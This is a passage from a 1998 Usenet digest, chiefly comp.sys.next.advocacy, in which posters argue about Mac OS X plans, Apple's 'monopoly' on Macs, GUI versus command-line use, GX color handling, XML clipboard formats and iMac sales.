What is a window thread? What exactly does it do? What if the user
selects Save while this is happening? What if they select "go to" but that
codes in the main app? I'm not at all clear what split your recommending,
how you do it from an app building side of things, or what exactly it will
get you.
> So do I. But why have a downside that you have to make up for?
At what cost? If this effort was actually doable (not convinced yet) and
cost 5 years and $100M to do, would you recommend Apple doing it? How about
1 year and $10M?
Maury
From: "Gerard Motola" <gtm@nospam.riftwar.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 14 Sep 1998 09:20:42 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6tjfn6$q07$1@oak.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net>
Dan wrote in message ...
>Sean Luke wrote in message <6thebh$q8m$1@cronkite.cs.umd.edu>...
>
>>: Jesus, and they say Microsoft uses monopolistic tactics.
>>
>>As Apple doesn't remotely have a monopoly on either operating systems or
>>motherboards, "monopolistic tactics" is somewhat far-fetched.
>
>Apple has a monopoly of the Mac market... just as MS and Intel have a
>monopoly of the PC market.
>
>Dan
>
>
But MS and Intel don't have a monopoly in the PC Market.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 14 Sep 1998 10:27:52 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
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3LsnAQnZh
In article <joe.ragosta-1409981004420001@wil103.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Which is a pretty silly argument.
>
> Sure. Apple has a monopoly of the "Mac market".
>
> Just like Compaq has a monopoly of the Compaq market. And Dell has a
> monopoly of the Dell market. And so on.
Apple has a monopoly of the mac market, not apple has a monopoly of the
apple market.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 14 Sep 1998 10:59:35 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1409981059350001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
In article <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <rmcassid-1009981404080001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
>> I understand that it is an OS. But an OS of that scale doesn't seem to be
>> that hard to come up with.
>
>This underestimates the "value" of a proven OS, ala Openstep.
Fair enough.
>> The APIs and the support for them _are_ hard,
>> however. I'd think that with Epoc Apple would throwing away or downplaying
>> the bulk of what Epoc does that is interesting.
>
>If you assume Apple's API's are more important, I can understand this
>perspective. IMHO, they are not that good at what Psion's EPOCH OS does.
IMHO, they are not that good at what OpenStep does on the desktop. But
that doesn't really seem to matter, now. Does it? :-/
It's not the quality of the APIs, but the level of support that is the issue.
>> Are multi-tasking, PMT, OO OSes really that distinctive and hard to come
>> by unless you make the most of the APIs and tools that come with them?
>
>It is distinctive enough to outsell "any" other keyboard PDA including HP,
>3Com, et. al. worldwide.
The hardware, the combination, but not the OS. It doesn't outsell WinCE.
If we've learned anything in the years since 1984, its that technical
superiority isn't the goal, merely a potential point of failure averted.
I'd think Apple would want to provide an OS that would leverage as much of
the existing work of developers as possible. Carbon for EPOCH? Maybe. But
why not Carbon for NewtonOS?
>> I think of OpenStep without YB and, well, big whoop. It's Mach and BSD.
>It's
>> YB and platform independence and good design that is interesting, at least
>> to me.
>This is provincial thinking...
It is. I'm somewhat aware of my limitations here.
>... what EPOCH OS does is "wireless" and small
>form factor applications.
>The "synergy" of MacOS X (was Rhapsody) + Psion
>is _interoperability_, _synchronization_ and _compatibility_ from cell
>phone, voice applications, desktop to server. That Mach and BSD do it for
>you is nice but when you don't have a desk any longer you'll need a seamless
>"wireless" solution. You're probably only 24 mos. away from this yourself.
Well, I'm starting to think that you are right. 24 months is a bit soon
for me however - I'm generally a slow geek adoptor (no pager, cell, PDA,
etc. - I like my privacy) but actually pretty typical for the general
community. The only people that I know with pagers are computer geeks,
cell phones are more pervasive, but then I'm in Irvine, CA - affluent, on
the go, wired community. Go wander though Iowa and that 24 months will
quickly look like 60. The average is somewhere inbetween.
>The list is long for the number of wireless manufacturers licensing the EPOC
>OS for wireless hardware. I don't own a wireless device that doesn't need
>to connect to something. Apple can be that _something! Otherwise they are
>just another _disconnected_ irrelevent device in the scrap heap of
>technology.
Well, support helps make the argument. Apple could be that other thing.
Clearly they are able to capture the public's attention as witnessed by
the iMac.
>They are making existing Mac users happy... they've laid they're bets on
>Mac centric OS moving forward. The near future will position Mac against
>the competition. We'll see then how appropos the Carbon strategy...
Carbon is mostly needed to make sure that the steer doesn't die on the way
to market. I think that Apple's increasing security will allow them to
feel confident in making changes to the OS and the user experience over
time.
I'm not sure how committed they are to the Mac centric OS or how committed
they are to the illusion of the Mac centric OS.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 14 Sep 1998 11:01:11 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1409981101110001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
Oh, by the way. I asked around and it turns out I do know a few iMac
owners. Mostly new computer users or people replacing 5-10 year old Macs
and PCs.
-Bob Cassidy
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 14 Sep 1998 12:22:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <35FD50CB.CCFAF0A6@ericsson.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net>
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Joe Ragosta wrote:
> Which is a pretty silly argument.
>
> Sure. Apple has a monopoly of the "Mac market".
>
> Just like Compaq has a monopoly of the Compaq market. And Dell has a
> monopoly of the Dell market. And so on.
>
> You see--Macs are PCs. They're one brand of PCs and the manufacturer of
> that brand is obviously going to be the only one who can make products
> with that brand name. You're confusing trademarks with monopolies.
The theory of the monopoly is that a particular market is bounded by
replacement constraints, i.e. if a competitor cannot reasonably sell a
replacement for your product, you have a monopoly on that product.
In the case of Compaq and Dell, either one can reasonably replace the
others' machines with little trouble. The situation between Macs and
Intel-standard PCs is different. As I've already pointed out, the DoJ's
case against Microsoft is based heavily on the argument that Microsoft
is "tying" its browser to its operating system. One of the more recent
examples of this was a case involving Kodak "tying" service to its
copiers.
Think it through carefully and slowly. Can Dell replace your Macintosh?
You've already stated the contrary in a hundred ways on a thousand
occasions. Apple is the sole supplier of your drug of choice. They have
a monopoly on your market.
MJP
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Mon, 14 Sep 1998 10:48:06 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6tjl7i$2rc$1@nnrp1.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net><35F7657E.C56E76A9@nstar.net> <6tbqcu$ubt$1@nnrp4.snfc21.pbi.net> <35F976A1.E9C83A99@ericsson.com> <6te9gv$420$1@nnrp2.snfc21.pbi.net> <35FAC3AE.3F4B49BD@nstar.net> <6tf367$6en$1@nnrp3.snfc21.pbi.net> <6tffth$opg$2@nnrp03.primenet.com><6tfhql$9eb$1@nnrp4.snfc21.pbi.net> <6tge8t$mo$1@nnrp03.primenet.com>
John Jensen wrote in message <6tge8t$mo$1@nnrp03.primenet.com>...
>William Edward Woody <woody@alumni.caltech.edu> wrote:
>: I personally think the right answer here is to rethink the design,
>: not to hide stuff. For example, if we find that it is important
>: for users to be able to selectively kill processes, instead of
>: teaching folks how to run the output of 'ps' through 'grep, why
>: not create a "Process Manager" which provides users graphical access
>: to those tools?
>
>I think a GUI "Process Manager" is a fine idea. Many systems already have
>them. Do you try to cast my position as GUI vs. CLI because it is easier
>for you to argure? ...
Don't look at me; I haven't been trying to cast anyone's arguments
in a particular way.
The issue I had with your post was your comment about the
"Macintosh Elite" trying to decide what people are able and unable
to do.
> ... You should certainly know from my posts that my
>position is GUI _and_ CLI. I don't, for instance, believe that the ps
>command should be deleted from its bin directory when the GUI Process
>Manager is complete. From you other posts on filters, I wouldn't think
>you would want to delete it either. So what is the difference in our
>positions? Is it that I am happliy in favor of the GUI and the CLI, while
>you are happily in favor of the GUI grudgingly in favor of the CLI?
No, my position is that the OS shouldn't require people to have to
use the CLI, and in fact should provide a well designed GUI that allows
people to do the majority of common tasks without having to fire up
a Unix shell.
Further, my position (which so far hasn't been articulated well here
because the issue hasn't arisen) is that proficiency with a CLI shouldn't
be a "requirement" for novice users. Nor should it be a requirement for
more advanced users. (And that also means that we shouldn't tell the
user "well, your process manager program can't do that, so I guess you'll
just have to break out the CLI shell and learn how to invoke the
'ps' and 'kill' commands.)
Keep in mind that the Macintosh was originally designed as a computer
"appliance." The original vision of the Macintosh was as an enclosed
box, no different from your microwave oven or your toaster--and even
the complete computer-phobic could just take the system out of the box,
plug it in, and use the beast with a minimal learning curve. Clearly of
course a Macintosh will never be as easy to learn as a microwave's UI.
But if we make the CLI a "requirement" for the use of the system, even
for non-trivial tasks, then this original vision of the Macintosh as
computer friendly for complete computer novices goes right down the
toilet.
Your comment about the "Macintosh Elite" seemed to completely miss this
"computer for the rest of us" vision that the Macintosh (and it's
UI) was founded on. The point here is not to rob the user of the
power to do whatever he/she wants--the point is to find new computer
UI paradigms so that the user can do what he/she wants without having
to resort to odd (and intimidating to the first time user) command
line constructs such as 'ps -aux | grep Netscape' or 'ls -L'.
Of course this doesn't also mean eliminating the CLI. But one thing
that has been suggested elsewhere in this thread (by other people)
is that the CLI is so powerful that it is silly for a novice *not*
to learn the CLI and put it to it's fullest power. And *that*
suggestion I find completely rediculous, as well as counter to the
concept of Macintosh as appliance.
>... I'm not saying you buy into it, but there has been a theme in
>this thread that there should be just one way to communicate with a
>computer. ...
I haven't noticed this theme.
And in fact, let me note that even within the context of a GUI,
the first lesson of GUI development is "provide the user several
ways to do the same thing." (Thus, double-clicking on a list item
is the same as pressing 'enter', which may be the same as selecting
the "Edit Item" menu command. The idea is that the complete novice
first encountering your application uses the menu command. The
user who has been doing this a while uses the (faster) double
click or keyboard click, depending on where his hands are.)
That there is also a CLI way of doing similar things strikes me
as well within this paradigm of "provide the user several ways
of doing an operation and allow the user to choose."
>I've thought more than once that a CLI is a chainsaw. You may not want to
>use it all the time, but now and then you have to take down trees.
Now if we can just get past this whole concept of the "Macintosh
Elite", I think we may be within sigma of agreement.
- Bill Woody
The PandaWave
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Mon, 14 Sep 1998 11:29:20 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1409981129210001@hephaestus.eng.uci.edu>
References: <35FC1A30.EE020BD5@nstar.net>
In article <35FC1A30.EE020BD5@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Here is my prediction: Christmas sales of the iMac will be very
>disappointing. Already the press has begun to regret its initial
>excitement over the iMac's launch.
I'd disagree.
>Gamecenter review:
It's simply not a hardcore gaming machine. While it will run Quake
sufficiently for most average individuals (runs fine by my measure) it
certainly won't compare to the $4000 gaming systems that Dell et al make.
And the lack of floppy drive comment makes me question the quality of the
review. It's not unusual that games are coming on multiple CD-ROMs. When
was the last time anyone used a floppy in the context of gaming? Lack of
DVD I could see as a complaint, but floppy?
I don't see this as a serious impediment to it's adoption.
>BusinessWeek series:
So he was overly positive on the first article, and was unfortunate enough
to get a lemon. We'll see what installment #3 of the series brings.
Overall, user feedback has been quite positive.
And apparently they are still flying off the shelves. A colleague of mine
went down to our embarrassing CompUSA and bought an iMac. She would have
tried it out first but couldn't get past the crowds around it. Bought one
anyway and asked the cashier if they've sold many. The response: "Well, 3
in the last 15 minutes".
Come xMas look for Apple to sweeten the deal a bit.
-Bob Cassidy
Date: 14 Sep 1998 16:16:39 EST
Newsgroups: comp.sys.next.advocacy
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 14 Sep 98 12:37:20 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B222BE8B-FB15@206.165.43.90>
References: <EzA66I.Kq6@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21D985A-660C0@206.165.43.113> "Lawson English" wrote:
>> format. Is there a binary version of XML?
>
> Yes, zip it.
Would that work in the context that I was talking about (clipboard format)?
The idea is to save time during cut and paste between apps, I think, by
eliminating/reducing the text-parsing requiremenhts. Decompressing might
save time due to reduced cost of loading from disk (on a higher speed CPU
like a PPC/586), but I don't think that it would save time to decompress
and THEN parse when dealing with a RAM transfer of information.
Of course, the time difference might not even be noticable to the end-user,
so the binary version might not even be needed.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A prediction
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Cc: rmcassid@uci.edu
Organization: none
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Date: Mon, 14 Sep 1998 19:42:06 GMT
In article <35FC1A30.EE020BD5@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Here is my prediction: Christmas sales of the iMac will be very
>disappointing.
You are entitled to your opinion, of course. No matter how pointless of
FUD inspired too.
> Already the press has begun to regret its initial
>excitement over the iMac's launch.
Indeed, as all the articles positivily glowing about it's sales figures
would clearly demonstrate in reverse. I see you have provided 2 articles to
back up your claim, I can provide about 25 to back the claim that you're
"full of it". Do you want them?
Truely sad to see Mike, this isn't even defendable FUD, it's just pathetic.
I'd expect such "press culling" from PC wienies, but from you it makes my
stomache turn.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Mon, 14 Sep 1998 14:50:31 -0500
Organization: Ericsson North America Inc.
Message-ID: <35FD7387.8E180932@ericsson.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <EzAHE7.4r9@T-FCN.Net>
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Maury Markowitz wrote:
> Truely sad to see Mike, this isn't even defendable FUD, it's just pathetic.
> I'd expect such "press culling" from PC wienies, but from you it makes my
> stomache turn.
We have Maury's opinion, for what that's worth.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Mon, 14 Sep 1998 14:57:37 -0500
Organization: Ericsson North America Inc.
Message-ID: <35FD7531.85E4847F@ericsson.com>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <EzAHE7.4r9@T-FCN.Net>
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Maury Markowitz wrote:
> Indeed, as all the articles positivily glowing about it's sales figures
> would clearly demonstrate in reverse. I see you have provided 2 articles to
> back up your claim, I can provide about 25 to back the claim that you're
> "full of it". Do you want them?
I'm sure if I looked I could find 25 positive articles regarding Windows
NT. I don't really care, to be honest. Nor do I particularly care about
the iMac; the point was to provide an opposing viewpoint, something Mac
users do not traditionally handle well without dangerous chemical
imbalances. The articles I quoted were not looked-for: they appeared on
Web sites I normally visit and caught my eye. If I were *really*
looking, I'm sure I could make a better case.
> Truely sad to see Mike, this isn't even defendable FUD, it's just pathetic.
> I'd expect such "press culling" from PC wienies, but from you it makes my
> stomache turn.
That's just terrible. Visit a G.I. specialist and the thread entitled "a
prediction" for a real example of "press culling" from a Mac weenie.
This wasn't even intended to be a direct response to Arun's postings,
but now that you mention it, Maury...
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 14 Sep 98 15:49:23 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B222EBA5-2A93A@206.165.43.215>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2200D89-49D9F@206.165.43.62> "Lawson English" wrote:
>> What I meant is that there needs to be a way to
>> *access* the process as a three-stage pipeline.
>
> Why? How is it that a mapping function on the object doesn't do this
>better anyway?
WHAT mapping function? There's no mapping function that I am aware of that
handles the source, destination and result colors separately. There's no
per-color-channel manipulation of bitmaps and vectors using the GX image
tranfer modes. There's a LOT that is lacking in the imaging model of
Carbon/YB that could easily be remedied by providing the 3-stage pipeline
that I suggested. A simple default to the QT/GX color capabilities would
make it far easier to provide QT vectors support as part of a standard
YB/Carbon drawing app. Otherwise, you have to use the QT vectors color
capabilities separately or kludge something that would already be present
if a simple change were made to the color model.
>
>> I think that this would be a worthy addition to YB/Carbon graphics
>
> It's what it does now.
Not as far as I can tell. In fact, you seem to be missing some very simple
points about how the GX color scheme operates. Either I am completely
misunderstanding you or you are completely misunderstanding me.
Obviously, I can't tell which, but I'm not convinced that you're any better
off, either.
>
>> would help allow YB graphics apps to directly produce QuickTime
>> Vector-compatible graphics (just avoid the optional processing) without
>> needing to call the QuickTime API.
>
> Back to this again I see.
Why not? The designers of GX felt that reasonably sophisticated color space
manipulations of source, destination and result (composite) colors were
useful in DTP apps for both vector-based and pixel-based images.
As far as I can tell, the built-in graphics capabilties of Carbon and YB do
NOT provide these capabilities.
You seem to believe that they are useless, but I've seen people attempting
to implement a tiny subset of these color space capabilties as filter
plug-ins for PhotoShop. GX implemented them in a way that makes them
available for every GX-using app. And yes, there are some. Creator2 isn't
exactly a toy DTP app, for instance.
Why shouldn't I want the new graphics engine of Apple to be able to handle
the features of the old graphics engine out-of-the-box, rather than
requiring each developer to roll his/her own solution to reinvent the
wheel?
Here's a trivial task in HyperCard using GXFCN:
Draw two bitmaps on top of each other. Vary the intensity of each color
channel's contribution of both bitmaps to each pixel in the composite
image. Do this fast enough that a simple button-press/slider will allow
real-time updating of the appearance of the image. The GX strategy is used
in QuickTime 3.0 to provide special transitional effects between frames of
a QT movie. Surely you can see that it would be useful to provide this
capability for any arbitrary bitmap in a DTP app while providing realtime
feedback to the end-user? GX is fast enough to do it in QT. I don't believe
that your multi-pass solution would be fast enough to use in QT, do you?
The current GXFCN interface is based on the C struct that GX uses for these
matrices. I'll factor it out into more useable chunks to avoid extraneous
HyperCard-based processing and make it part of the GXFCN demo-stack using
button control AND HC-based algorithmic control. Seeing is believing, eh?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <EzA66I.Kq6@T-FCN.Net> <B222BE8B-FB15@206.165.43.90>
Message-ID: <35fda233.0@news.depaul.edu>
Date: 14 Sep 98 23:09:39 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
> >In <B21D985A-660C0@206.165.43.113> "Lawson English" wrote:
> >> format. Is there a binary version of XML?
> >
> > Yes, zip it.
> Would that work in the context that I was talking about (clipboard format)?
> The idea is to save time during cut and paste between apps, I think, by
> eliminating/reducing the text-parsing requiremenhts. Decompressing might
> save time due to reduced cost of loading from disk (on a higher speed CPU
> like a PPC/586), but I don't think that it would save time to decompress
> and THEN parse when dealing with a RAM transfer of information.
> Of course, the time difference might not even be noticable to the end-user,
> so the binary version might not even be needed.
The XML could include binary portions by reference, using a tag. The
binary needn't be stored in the XML stream itself. As a benefit,
the binary can be loaded 'lazily', and doesn't need to be transferred
until needed.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Quark==Adobe buyout - opinion
Newsgroups: comp.sys.next.advocacy
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981101110001@hephaestus.eng.uci.edu>
Message-ID: <35fda281.0@news.depaul.edu>
Date: 14 Sep 98 23:10:57 GMT
Robert Cassidy <rmcassid@uci.edu> wrote:
> Oh, by the way. I asked around and it turns out I do know a few iMac
> owners. Mostly new computer users or people replacing 5-10 year old Macs
> and PCs.
I would have had my father buy one, but transferring files from
an SE/30 to an iMac would have been a hassle without a floppy.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 23:10:59 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35fda148.4397068@news.supernews.com>
References: <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com> <mteh-ya02408000R1309982156530001@news.earthlink.net>
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mteh@earthlink.net (Oliver M. Sun), on Sun, 13 Sep 1998 21:56:53
>In article <35fd738b.2127351@news.supernews.com>, mdevlin@eltrax.com (T.
>Max Devlin) wrote:
>
>>"Christopher Smith" <drsmithy@usa.net>, on Mon, 14 Sep 1998 05:00:25
>>
>>>>>CJH <ifmtrx@inficad.com> wrote in message 35FBAA84.F5B8CE84@inficad.com...
>>>>>Christopher Smith wrote:
>>>>>>Insisting over and over that a car is like a computer, just because
>>>>>>you like the analogy, regardless of how many times it is pointed out
>>>>>>how stupid the analogy is, is....
>>>>>>
>>>>>>not smart.
>>>>>In many ways they are similar. In many ways they *should* be similar.
>>>>My operational needs for both are similar... perform their functions
>>>WITHOUT requiring frequent attention in their design, construction and
>>>>maintenance! For those who have the time and enjoy "tinkering," both offer
>>>tremendous enjoyment! A cab driver doesn't want or have time to >be a
>>>mechanic!
>>>
>>>Try to convince Max that :).
>>
>>I don't think there is a cab driver existent that does not know how
>>to pump gas and check his oil.
>
>
>I know how to plug in my Mac and check my e-mail.
>
>Try exchanging a heater core sometime.
Good point. I don't write software. So, no, I don't know how to
"exchange a heater core". But I understand how programs are loaded
from the hard drive into memory, and how data files are saved back
to disk. I know not to delete DLL files, and I know what to do
(search) when my computer says "file not found". All of which I
equate with pumping gas and checking oil. You assume it is the
equivalent of engine repair.
This seems to indicate that one of two things is true:
a) you don't know anything about computers, or
b) computers are not cars.
Now, you say you "know how to plug in your Mac and check email".
Are you honestly saying that this is all you know about computers?
You don't know how to load a new program? You don't know how to
disable an extension that is crashing your Mac? You don't know how
to search for files? You don't know how to put an icon on your
desktop? You don't know how to empty your trash can?
Computers are not cars.
From: mns@extract.mnslab.com (Matthew N. Sharp)
Newsgroups: comp.sys.sgi.hardware,comp.sys.sgi.marketplace,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Inappropriate Thread (was "pissed at SGI" + variants)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: Mon, 14 Sep 1998 16:41:51 -0400
Organization: cpsm
Message-ID: <mns-1409981641520001@pm200-26.bc.net-link.net>
References: <35E5EA2E.FABFE12D@HiWAAY.net> <6s6kbm$1m8$1@news00.btx.dtag.de> <slrn6ug89l.54.alastair@calliope.demon.co.uk> <6sbdqq$ath$1@news02.btx.dtag.de> <6sbrr2$9hv@rac2.wam.umd.edu> <smooth-ya02408000R0109982037390001@news.aloha.net> <6siphn$b3m$1@camel19.mindspring.com> <smooth-ya02408000R0209981530360001@news.aloha.net> <6sktuo$lrj$1@camel18.mindspring.com> <smooth-ya02408000R0609980158330001@news> <smooth-ya02408000R1009982359440001@news.aloha.net> <35faff8d.1107347@nntp.ix.netcom.com> <6th2ho$sm0@chronicle.concentric.net>
First, I must say that this particular thread no longer belongs under the
comp.sys.sgi.hardware and comp.sys.sgi.marketplace newsgroups, so
I am redirecting it as such.
In article <6th2ho$sm0@chronicle.concentric.net>, "Dark Science"
<slathan@GUNKdarkscience.com> wrote:
> Crypt242 wrote in message <35faff8d.1107347@nntp.ix.netcom.com>...
> >On Thu, 10 Sep 1998 23:59:44 -1000, smooth@aloha.net (George) wrote:
> >
> >Macs on the software end aren't quite so good, but as much as people
>
>
> As Zsolt Sabo has already stated in his reply... This is true and I would
> most certainly agree. The MacOS is pure crap unless you're a computer
> illiterate that is unwilling to learn how to use a computer.
So the people who code applications for the Mac OS (note: space)
are, in your words, "computer illiterate", and "unwilling to learn how
to use a computer"? I'd be the last person to choose the Mac OS
over Un*x, but am certainly not opposed to using a Mac when the
need is present. This message is being posted from a Mac, running
Mac OS. Am I "computer illiterate" because of that, or are you being
exceedingly arrogant, shortsighted, and in the process making incorrect
overgeneralizations? I'd be more inclined to believe the latter.
>
> >mac are excellent. (not compared to a lot of the SGI's. but compared
> >to x86). X86 has probably the oldest piece of shit poor ass design on
> >the market. People say "yeah but it's cheap". Check out the prices on
> >SGI's, Alphas, and Mac's nowadays. If you don't run windows.. get a
> >better damn machine than x86. even for linux.
>
> Alpha CPU systems are also just PC systems with a different CPU and a few
> minor modifications to adapt this different CPU. The Alpha CPU line offers
> very powerful processors, but such systems are still tied to the x86
> architecture. With a few exceptions of some of the older DEC Station and
> Unix only systems from DEC that only run DEC Unix or VMS. However, I don't
> think DEC still offers such systems - now everything they have is capable of
> running NT. ...Or at least that's the case for their desktop and small
> server systems. Their large servers are probably still a proprietary
> architecture, but I haven't exactly taken a look into that.
What is your point here? Perhaps (and I'm guessing because
you aren't being clear) it is that Digital's decision to pursue a
Microsoft-captive audience is indicative of the superiority of
NT? Apparently Microsoft doesn't have the same dedication
to Digital's architectural platform, as they have wavered quite
a bit in the pledging of support to the Alpha.
>
> And if one doesn't run Windows, x86 is still a great choice. Linux and
> Solaris on the x86 platform are very fast and stable. Unix on the Mac?
